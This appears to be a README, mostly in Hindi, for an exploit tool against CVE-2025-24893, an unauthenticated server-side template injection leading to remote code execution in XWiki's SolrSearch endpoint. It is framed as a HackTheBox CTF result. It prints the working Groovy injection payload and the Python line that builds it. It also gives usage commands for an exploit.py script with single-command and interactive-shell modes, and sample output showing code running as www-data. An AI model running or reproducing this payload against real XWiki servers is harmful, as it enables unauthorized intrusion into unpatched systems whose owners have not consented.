
CVE-2025-24893 – XWiki SSTI अनप्रमाणित RCE शोषण (HackTheBox CTF)
| क्षेत्र | विवरण |
|---|---|
| CVE | CVE-2025-24893 |
| सॉफ़्टवेयर | XWiki |
| कमज़ोरी | सर्वर-साइड टेम्पलेट इंजेक्शन (SSTI) → RCE |
| प्रमाणीकरण | आवश्यक नहीं |
| CVSS स्कोर | गंभीर |
| संदर्भ | HackTheBox CTF के दौरान खोजा गया |
XWiki एक SolrSearch एंडपॉइंट (/xwiki/bin/get/Main/SolrSearch) को उजागर करता है जो बिना स्वच्छता के Groovy टेम्पलेट इंजन के माध्यम से उपयोगकर्ता-आपूर्ति किए गए इनपुट को प्रस्तुत करता है। एक अप्रमाणित हमलावर text क्वेरी पैरामीटर के माध्यम से एक Groovy अभिव्यक्ति इंजेक्ट कर सकता है, जो अंतर्निहित सर्वर पर दूरस्थ कोड निष्पादन प्राप्त करता है।
GET /xwiki/bin/get/Main/SolrSearch?media=rss&text=<PAYLOAD>
text पैरामीटर को सीधे XWiki मैक्रो संदर्भ में एम्बेड किया जाता है और Groovy इंजन द्वारा मूल्यांकन किया जाता है। इंजेक्शन }}} का उपयोग करके टेम्पलेट संदर्भ से बच जाता है और एक {{async}}{{groovy}} ब्लॉक खोलता है:
}}}{{async async=false}}{{groovy}}println("<CMD>".execute().text){{/groovy}}{{/async}}
आउटपुट RSS प्रतिक्रिया बॉडी में परिलक्षित होता है और regex के माध्यम से निकाला जा सकता है।
payload = '}}}{{async async=false}}{{groovy}}println("' + command + '".execute().text){{/groovy}}{{/async}}'
प्रतिक्रिया XML/RSS है — कमांड आउटपुट [}}} और ]</ मार्करों के बीच HTML-एनकोडेड वर्णों के साथ दिखाई देता है।
python3 exploit.py -t <TARGET> [-p PORT] [-s] [-i | -c COMMAND]
# Single command
python3 exploit.py -t wiki.target.htb -c "id"
# Interactive shell
python3 exploit.py -t wiki.target.htb -i
# HTTPS on custom port
python3 exploit.py -t wiki.target.htb -p 443 -s -i
pip install requests termcolor
$ python3 exploit.py -t wiki.editor.htb -c "id"
[*] Executing command: id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
| फ़्लैग | विवरण |
|---|
-t | लक्ष्य होस्टनाम या IP |
-p | पोर्ट (डिफ़ॉल्ट: 80) |
-s | HTTPS का उपयोग करें |
-i | इंटरैक्टिव शेल मोड |
-c | एकल कमांड निष्पादन |
-v | वर्बोज़ आउटपुट |